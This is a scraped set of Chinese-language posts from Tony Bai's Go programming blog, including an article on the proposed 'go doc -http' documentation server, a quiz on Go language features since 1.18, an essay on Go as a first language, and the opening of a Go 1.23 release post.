在教师节这个神圣的日子中，我们回顾了这些在计算机科学和编程领域做出杰出贡献的”老师们”。他们的智慧和洞见，通过这些经典著作，影响了几代程序员的成长，更是对我的程序员生涯提供了莫大的帮助。\n这些大师们不仅仅传授了技术知识，更重要的是，他们塑造了我们思考问题和解决问题的方式。从C语言到Go，从算法到软件工程，从操作系统、编译原理到网络编程等，这些著作涵盖了计算机科学的方方面面，构建了现代软件开发的知识体系。\n作为程序员，我们应该心怀感激，因为我们站在了这些巨人的肩膀上。同时，我们也要记住，学习是一个终身的过程。技术在不断进步，新的挑战不断出现，但这些经典著作中蕴含的智慧将永远指引我们前进的方向。\nGopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/09/10/programmer-mentors-and-their-classic-works/","summary":"\u003cp\u003e\u003cimg alt=\"Image 81\" loading=\"lazy\" src=\"/images/wp-content/uploads/programmer-mentors-and-their-classic-works-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/09/10/programmer-mentors-and-their-classic-works\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/09/10/programmer-mentors-and-their-classic-works\"\u003ehttps://tonybai.com/2024/09/10/programmer-mentors-and-their-classic-works\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e早上送孩子去幼儿园的路上，收到一个小伙伴的微信：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 82\" loading=\"lazy\" src=\"/images/wp-content/uploads/programmer-mentors-and-their-classic-works-2.png\"\u003e\u003c/p\u003e\n\u003cp\u003e我这才意识到今天是教师节！为人师，自觉还不够格！但在这个特殊的日子，作为IT行业从业人员，我想向那些在计算机科学和编程领域给予我们启迪的“老师们”致敬。这些老师可能不是传统意义上站在讲台前的教育者，但他们通过自己的著作、思想和贡献，通过他们的智慧结晶，为我们指明了方向，为无数程序员的成长之路点亮了明灯。\u003c/p\u003e","title":"致敬：程序员成长路上的良师与经典著作"},{"content":"重拾精髓：go doc -http让离线包文档浏览更便捷 | Tony Bai Tony Bai一个程序员的心路历程\nGoogle Go语言编码风格规范 Google Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ 关于我 文章列表 重拾精髓：go doc -http让离线包文档浏览更便捷 九月 6, 2024 0 条评论 本文永久链接 – https://tonybai.com/2024/09/06/go-doc-add-http-support\nGo语言团队近期接受了Go团队成员、Go圣经《The Go Programming Language》合著者Alan Donovan的新提案，旨在进一步提升开发者体验。这个提案为go doc命令新增了一个强大的功能：通过go doc -http，开发者可以快速启动一个本地的文档服务器，并自动在浏览器中打开Go包的参考文档。该功能为开发者提供了类似pkg.go.dev的离线文档展示形式，同时增强了查看本地文档的交叉引用功能。看到这个提案功能，屏幕前的资深Gopher是不是感觉似曾相识呢:)。\n早在去年，我就写过一篇有关go包文档查看方式对比的文章《聊聊godoc、go doc与pkgsite》，在那篇文章中，我就对当前Go包文档查看的几种方式做了详细说明，如果你是Go初学者，不妨点击链接移步过去仔细阅读一番。当然，这里也会简单地再介绍一下Go包文档离线查看工具的演进。\nGo语言的包文档查看工具经历了三个重要阶段的演进，分别是godoc、go doc和pkgsite。以下是这些工具的发展历程：\ngodoc是Go语言最早用于查看包文档的工具。它支持通过命令行查看文档，也可以通过-http参数启动一个本地文档服务器，用户在浏览器中以网页形式查看文档。这个工具提供了较为完整的Go包文档浏览体验，支持交叉引用和导航。但随着Go的发展，逐渐不再是官方推荐的工具，并且不再随Go安装包一并发布了！\n随着Go的升级与演进，go doc逐渐取代了godoc成为查看包文档的主要工具。go doc主要提供了通过命令行输出包详细文档的能力，对应简单的包查询，这种方式更为高效：\n$go doc -h Usage of [go] doc: go doc go doc \u0026lt;pkg\u0026gt; go doc \u0026lt;sym\u0026gt;[.\u0026lt;methodOrField\u0026gt;] go doc [\u0026lt;pkg\u0026gt;.]\u0026lt;sym\u0026gt;[.\u0026lt;methodOrField\u0026gt;] go doc [\u0026lt;pkg\u0026gt;.][\u0026lt;sym\u0026gt;.]\u0026lt;methodOrField\u0026gt; go doc \u0026lt;pkg\u0026gt; \u0026lt;sym\u0026gt;[.\u0026lt;methodOrField\u0026gt;] For more information run go help doc Flags: -C dir change to dir before running command -all show all documentation for package -c symbol matching honors case (paths not affected) -cmd show symbols with package docs even if package is a command -short one-line representation for each symbol -src show source code for symbol -u show unexported symbols as well as exported 然而从上面的usage输出来看，go doc版本去除了godoc堪称精髓能力的-http支持，开发者无法像godoc那样启动本地文档服务器，这在某种程度上减少了它的可视化文档浏览功能。\npkgsite是目前官方推荐的在线Go包文档浏览工具，提供了一个全面、易于导航的网站（pkg.go.dev），用户可以在浏览器中查看各个Go包的文档、函数、类型等信息。它大大提升了开发者的体验，提供了丰富的交叉引用和包依赖信息。\n但pkgsite也是go官方站，主要用于在线查看，虽然也支持离线查看功能。但就像Alan Donovan在issue提到的那样：pkgsite程序目前相当大且启动缓慢，并且pkgsite最初被设计为一个可以在Google Cloud上运行的长生命周期的服务器，有很多外部依赖和耦合。\n为了满足诸多Gopher通过浏览器web方式离线浏览Go包参考手册的需求，弥补pkgsite过于缓慢和庞大的不足，Alan Donovan提出了让离线文档服务能力回归的issue。没错！这个提案其实就是godoc -http这个经典的、精髓功能的“重生”。\n这一新增功能有望在Go 1.24或之后的版本中正式推出，届时，新增的go doc -http功能会让离线文档服务的能力回归，为开发者提供了更多选择与灵活性。但目前go doc -http的具体命令接口形式尚未确定，但可以确定的是，通过该命令，用户无需再依赖第三方工具或访问外部网站，即可在本地查看项目的完整文档。这不仅提升了效率，也让开发者更方便地查找包文档以及包间的交叉引用，实现更直观的包依赖管理。Go开发者们可以尽情享受这一强大的本地文档浏览工具。\nGopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/09/06/go-doc-add-http-support/","summary":"\u003ch1 id=\"重拾精髓go-doc--http让离线包文档浏览更便捷--tony-bai\"\u003e重拾精髓：go doc -http让离线包文档浏览更便捷 | Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/about/\" title=\"关于我\"\u003e关于我\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/articles/\" title=\"文章列表\"\u003e文章列表\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1 id=\"重拾精髓go-doc--http让离线包文档浏览更便捷\"\u003e重拾精髓：go doc -http让离线包文档浏览更便捷\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e九月 6, 2024\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/2024/09/06/go-doc-add-http-support/#respond\" title=\"《重拾精髓：go doc -http让离线包文档浏览更便捷》上的评论\"\u003e0 条评论\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg alt=\"Image 29\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-doc-add-http-support-1.png\"\u003e\u003c/p\u003e","title":"重拾精髓：go doc -http让离线包文档浏览更便捷"},{"content":"Go 1.18之后的语法新特性Quiz，你能做对几个？ | Tony Bai Tony Bai一个程序员的心路历程\nGoogle Go语言编码风格规范 Google Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ 关于我 文章列表 Go 1.18之后的语法新特性Quiz，你能做对几个？ 八月 27, 2024 0 条评论 本文永久链接 – https://tonybai.com/2024/08/27/a-new-syntax-quiz-after-go-1-18\n自Go 1.18版本以来，Go语言引入了许多令人兴奋，但也可能令你感觉难以理解的语法新特性。这些特性大大增强了语言的表达能力，但也增加了学习曲线。今天，我们通过几个小Quiz来测试你对这些新特性的理解。准备好挑战自己了吗？答案在文章末尾公布，但请先尝试独立思考每个问题！\n注：为了保证答案一致，这里的答案输出都是基于刚发布没多久的Go 1.23.0版本。\nQuiz 1: 泛型与类型集合（Go 1.18） import ( \u0026#34;fmt\u0026#34; \u0026#34;golang.org/x/exp/constraints\u0026#34; ) type Scalar interface { constraints.Integer | constraints.Float | ~string } func Plus[T Scalar](a, b T) T { return a + b } type MyString string func main() { fmt.Println(Plus(1, 2)) fmt.Println(Plus(1.5, 2.7)) fmt.Println(Plus(\u0026#34;Hello, \u0026#34;, \u0026#34;World\u0026#34;)) fmt.Println(Plus(MyString(\u0026#34;Go \u0026#34;), MyString(\u0026#34;1.18+\u0026#34;))) } 问题：上述代码会输出什么？\nA) 编译错误，MyString类型不满足Scalar接口 B) 3\n4.2\nHello, World\nGo 1.18+ C) 3\n4.2\nHello, World\n编译错误，MyString类型不能进行加法操作 D) 编译错误，不能对不同类型（如int和float64）使用同一个Plus函数 Quiz 2: 修正后的循环变量语义（Go 1.22） func main() { s := []string{\u0026#34;a\u0026#34;, \u0026#34;b\u0026#34;, \u0026#34;c\u0026#34;} funcs := make([]func(), len(s)) for i, v := range s { funcs[i] = func() { fmt.Printf(\u0026#34;%d: %s\\n\u0026#34;, i, v) } } for _, f := range funcs { f() } } 问题：在Go 1.22中，这段代码最可能的输出是什么？\nA) 0: c\n1: c\n2: c B) 0: a\n1: b\n2: c C) 输出不确定，可能是A或B中的任何一种 D) 编译错误，因为在闭包中使用循环变量 Quiz 3: range over int（Go 1.22） func generateSequence(n int) []int { seq := make([]int, n) for i := range n { seq[i] = (i * i) % 10 } return seq } func main() { fmt.Println(generateSequence(7)) } 问题：这段代码会输出什么？\nA) [0 1 4 9 16 25 36] B) [0 1 4 9 6 5 6] C) [0 1 2 3 4 5 6] D) 编译错误，不能对int类型使用range Quiz 4: range-over-func（Go 1.23） import ( \u0026#34;iter\u0026#34; \u0026#34;fmt\u0026#34; ) func fibonacci() iter.Seq[int] { a, b := 0, 1 return func(yield func(int) bool) { for { if !yield(a) { return } a, b = b, a+b } } } func main() { count := 0 for v := range fibonacci() { if count == 7 { break } fmt.Printf(\u0026#34;%d \u0026#34;, v) count++ } } 问题：假设启用了相关实验特性，这段代码会输出什么？\nA) 0 1 1 2 3 5 8\nB) 0 1 2 3 4 5 6\nC) 1 1 2 3 5 8 13\nD) 编译错误，iter.Seq不是一个合法的迭代器\nQuiz 5: 带类型参数的别名（试验特性，Go 1.23） 注：下面示例使用GOEXPERIMENT=aliastypeparams go run 运行\npackage main import \u0026#34;fmt\u0026#34; type Pair[T, U any] = struct { First T Second U } func MakePair[T, U any](first T, second U) Pair[T, U] { return Pair[T, U]{First: first, Second: second} } func SwapPair[T, U any](p Pair[T, U]) Pair[U, T] { return Pair[U, T]{First: p.Second, Second: p.First} } func main() { intStringPair := MakePair(42, \u0026#34;Answer\u0026#34;) swappedPair := SwapPair(intStringPair) fmt.Printf(\u0026#34;Swapped Int-String Pair: %+v\\n\u0026#34;, swappedPair) } 问题：假设启用了相关实验特性，这段代码的结果是什么？\nA) Swapped Int-String Pair: {First:Answer Second:42}\nB) Swapped Int-String Pair: {First:42 Second:Answer}\nC) 运行时错误，类型推导失败\nD) 编译错误，不支持带类型参数的别名\n这些Quiz涵盖了Go 1.18以来的一些重要新特性，包括泛型、修正的循环变量语义、range over int、range-over-func以及类型参数别名。如果你能正确回答大部分问题，那么恭喜你，你对Go的新特性已经有很好的理解了！\n注：关注公众号iamtonybai，回复“go1.23quiz”，即可获得这五道题目的正确答案。\nGopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/08/27/a-new-syntax-quiz-after-go-1-18/","summary":"\u003ch1 id=\"go-118之后的语法新特性quiz你能做对几个--tony-bai\"\u003eGo 1.18之后的语法新特性Quiz，你能做对几个？ | Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/about/\" title=\"关于我\"\u003e关于我\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/articles/\" title=\"文章列表\"\u003e文章列表\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1 id=\"go-118之后的语法新特性quiz你能做对几个\"\u003eGo 1.18之后的语法新特性Quiz，你能做对几个？\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e八月 27, 2024\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/2024/08/27/a-new-syntax-quiz-after-go-1-18/#respond\" title=\"《Go 1.18之后的语法新特性Quiz，你能做对几个？》上的评论\"\u003e0 条评论\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg alt=\"Image 27\" loading=\"lazy\" src=\"/images/wp-content/uploads/a-new-syntax-quiz-after-go-1-18-1.png\"\u003e\u003c/p\u003e","title":"Go 1.18之后的语法新特性Quiz，你能做对几个？"},{"content":"从零开始编程：Go语言真的适合新手吗？ | Tony Bai Tony Bai一个程序员的心路历程\nGoogle Go语言编码风格规范 Google Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ 关于我 文章列表 从零开始编程：Go语言真的适合新手吗？ 八月 22, 2024 0 条评论 本文永久链接 – https://tonybai.com/2024/08/22/go-as-first-language\nGo语言自诞生以来，一直以其简洁、高效和面向工程的特性受到开发者的青睐，尤其是在后端开发和并发编程方面，Go表现出了独特的优势。然而，作为一门以简单著称的语言，它是否适合作为编程初学者的第一门语言呢？笔者今天在Reddit上看到有人提出此类问题，也做了一些思考，这里就通过本文从多个角度来和大家一起探讨下这一问题。\n我们先从Go适合作为第一门语言的特质说起。\n1. Go语言的简洁性 在我的《Go语言精进之路第一卷》第3节“理解Go语言的设计哲学”中我就提到过：Go语言的设计哲学是“做减法”，拒绝走语言特性融合的道路，提供简单的用户界面，将复杂性留给语言自身的设计和实现者。\n这种简洁性让初学者能够更快地上手，将精力聚焦在理解编程的基本概念和程序的逻辑结构上，而不是被复杂的语法规则所困扰。例如，Go的语法简洁明了，没有太多冗余的语法糖(一个事情大多只有一种写法)，使得代码更容易阅读、理解和维护。\n此外，Go的静态类型系统提供了清晰的类型检查机制，这有助于初学者理解变量和类型的概念。与动态类型语言相比，Go的类型系统减少了初学者在学习过程中可能遇到的困惑。此外，Go仍保留了指针等底层概念，让学生在学习过程中还能够接触到内存管理和效率优化的基础知识，也便于学习数据结构与算法，为后续的进阶学习做好铺垫。\n2. 并发编程的天然优势 随着多核处理器的普及，并发编程已经成为现代编程的重要技能。Go语言将并发编程作为核心特性，通过goroutines和channels提供了一种简洁直观的并发模型。相比于传统的线程管理，Go的并发模型更加易于理解和使用，这为初学者在学习并发编程时提供了极大的便利。\n通过学习Go的并发编程模型，初学者能够及早掌握现代编程中的关键概念，为后续在各种领域的发展打下坚实的基础。\n3. 学习曲线与实践应用 经过Go团队不懈的努力，Go语言的安装与使用过程已经非常简单明了了，可以说开箱即用，初学者只需几步即可搭建开发环境。这种低门槛的特性让初学者可以专注于编程本身，而不必花费过多时间在环境配置上。同时，Go强大的标准库也为初学者提供了丰富的资源，使他们可以在不依赖第三方库的情况下完成许多实际项目，无需与繁芜的第三方依赖“作斗争”。此外，Go程序编译速度极快，可以快速让学员获得反馈。\n注：我的极客时间专栏《Go语言第一课》专栏的“03｜配好环境：选择一种最适合你的Go安装方法”有对Go环境搭建的系统全面的讲解，欢迎订阅阅读。\n4. 面向未来的选择 选择第一门编程语言不仅关乎当下的学习体验，更应该着眼于未来的发展。Go在保持简洁性的同时，涵盖了现代编程的核心概念，从并发编程到网络服务，从系统编程到云原生应用，Go都能胜任。这种全面的能力使得Go成为初学者为未来编程生涯奠定基础的理想选择。\n此外，Go在业界的广泛应用也为学习者提供了良好的职业前景。掌握Go的初学者可能会在未来的就业市场中占据优势，特别是在后端开发和云计算等领域。\n尽管Go有许多优势，但我们也需要正视其作为第一门编程语言所面临的挑战。接下来，我们就来看看这些挑战！\n5. 现实中的挑战 虽然Go语言简单易学，但现实中，无论中外，以Go为第一门编程语言的初学者数量依然不多，这是为什么呢？笔者认为主要有如下几点原因：\n首先，Go虽然简单，简化了许多编程概念，但与Python、Scratch等传统的编程入门语言相比，学习曲线依旧“陡峭”，对于完全没有编程经验的初学者而言，理解指针、并发等特性仍然需要一定的努力。此外，Go主要面向后端开发，在前端开发和图形界面支持方面较为有限，对于一些喜欢更直观地通过图形化的方式看到反馈的初学者来说，Go的满足度有欠缺，这可能会影响一些初学者的学习兴趣。\n其次，与Python等语言相比，Go主要面对后端开发，在数据科学和机器学习等热门领域的应用相对有限(虽然目前已经在向AI应用开发领域大踏步前进)，这可能会影响一些对这些领域感兴趣的初学者的选择。对于许多初学者来说，这些看似更“酷”的应用领域可能比Go所擅长的系统编程和网络服务更具吸引力。\n再次，Go在编程教育中的应用仍然相对有限。传统的计算机科学课程多年来已经确立并一直依赖于Java、Python或C++等成熟的编程语言。更新课程设置、编写新的教材、培训教师都需要时间和资源，这种惯性使得Go难以迅速进入教育体系。\n最后，相比其他语言(如Java、C++等)，Go团队在教育领域的推广较少，缺乏针对教育机构的专门资源和支持(这让我想起了当年Sun在校园推广Java，微软在校园推广C#等，没有对比，就没有伤害)，同时由于Go语言的设计更倾向于“实战派”，并不受“学院派”青睐，因此学术界对Go语言研究也相对较少，导致在高等教育机构的推广受限。\n6. 小结：平衡与选择 尽管面临这些挑战，Go语言作为第一门编程语言的潜力仍不容忽视。Go语言以其简洁性、并发特性和面向工程的实用型设计，无疑是一个极具吸引力的选择。虽然它可能不是最容易上手的语言，但它提供了一个平衡的学习体验，既不会掩盖重要的编程概念，也不会像Rust那样陡峭得令人望而却步。\n同时，我们也需要认识到，没有一种编程语言能够完美满足所有学习者的需求。Go的优势在某些领域可能是无可替代的，但在其他方面可能需要补充。因此，一个更平衡的方法可能是将Go作为编程教育的重要组成部分，而不是唯一选择。比如，对于今天的初学者来说，理想的方案可能是将Go作为主要学习对象，同时辅以其他语言（如Python）来弥补在特定领域的不足。无论选择哪种语言，保持好奇心和学习的热情才是成为优秀程序员的关键。\n最后，Go要实现在编程教育中扮演更重要的角色，还需要多方面的努力。Go团队和Go社区还需加强在教育领域的推广，开发更多面向初学者的资源和工具，以激励教育机构将Go纳入课程体系，特别是在教授并发编程等概念时。\n如果你对Go语言感兴趣，并且希望系统地学习如何从零开始编写Go代码，我在两年多之前在极客时间开设了“Go语言第一课”的专栏。 这个专栏专为Go语言新手设计，从基础概念到实战案例，逐步带你掌握Go语言的核心知识点。无论你是编程初学者，还是希望掌握一门新语言的开发者，这个专栏都能为你提供有价值的学习资源和实践指导。\nGopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：https://tonybai.com Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/08/22/go-as-first-language/","summary":"\u003ch1 id=\"从零开始编程go语言真的适合新手吗--tony-bai\"\u003e从零开始编程：Go语言真的适合新手吗？ | Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/about/\" title=\"关于我\"\u003e关于我\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/articles/\" title=\"文章列表\"\u003e文章列表\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1 id=\"从零开始编程go语言真的适合新手吗\"\u003e从零开始编程：Go语言真的适合新手吗？\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e八月 22, 2024\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/2024/08/22/go-as-first-language/#respond\" title=\"《从零开始编程：Go语言真的适合新手吗？》上的评论\"\u003e0 条评论\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg alt=\"Image 25\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-as-first-language-1.png\"\u003e\u003c/p\u003e","title":"从零开始编程：Go语言真的适合新手吗？"},{"content":"\n本文永久链接 – https://tonybai.com/2024/08/19/some-changes-in-go-1-23\n距离上一次Go 1.22版本发布又过去六个月了，我们如期迎来了Go 1.23版本的发布。\n对于Go项目乃至整个Go社区而言，这个版本还有一点额外的意义，那就是这是Russ Cox作为Tech lead，领导Go团队发布的最后一个Go版本了。\n8月2日，Russ Cox在golang-dev google group上发文，在领导了Go项目12年后，决定辞去Tech Lead，并将这一角色“传位”给Austin Clements，后者是现任Go core领域(围绕编译器工具链、运行时和发布)的Leader。Cherry Mui将递补，成为Go core领域的新Leader。\n注：除了Go core外，Go项目下面还有两个领域的子团队，分别是由Roland Shoemaker领导的Go安全团队（Go Security）和由Rob Findley、Hana Kim共同领导的Go工具链和IDE支持团队。\n注：Austin曾在Google担任实习生，在攻读博士学位期间参与了Go项目的早期工作。后来(2014年)，他加入了Go 团队，与Rick Hudson合作完成了Go的并发垃圾回收。他还曾参与了当前的抢占式调度器和链接器的开发工作。现在，他领导着Go的编译器/运行时团队。– 来自golang.design\n长相有些神似“马特达蒙”的Russ Cox经常活动于GopherCon之类的技术大会上，照片和视频比较多，但Austin和Cherry似乎都很神秘，很少出镜。Cherry Mui居然还是一个巾帼女汉子。如果你和我一样，不是很了解Austin，可以看看这个Austin在GopherCon 2020上的这个视频。\n在Russ Cox的领导下，Go如今已经成为云原生领域的基石语言，在我的《都2024年了，当初那个“Go，互联网时代的C语言”的预言成真了吗？》那篇文章中，我谈到Go建立了云原生时代的整体技术栈，地位媲美单机时代的C语言。Go在各大编程语言排行榜的位次也一直在提升，今年Go在TIOBE上最高已经冲到了第七名。在语法特性和工具链方面，Russ Cox带领Go团队先后实现了Go module、Go泛型等重要变化的落地。Go已经证明了自己的成功。\n但俗话说：“船大难掉头”！随着Go语言的成熟，用户的不断增多，生态的不断扩大，如何把控好Go这艘大船，持续在正确的方向上航行，便逐渐成为了摆在Go团队面前的一个极具挑战性的问题。另外，在Go演进的过程中，质疑声也从来就没有中断过，尤其是在Go module、Go泛型等提案落地的过程中。Go 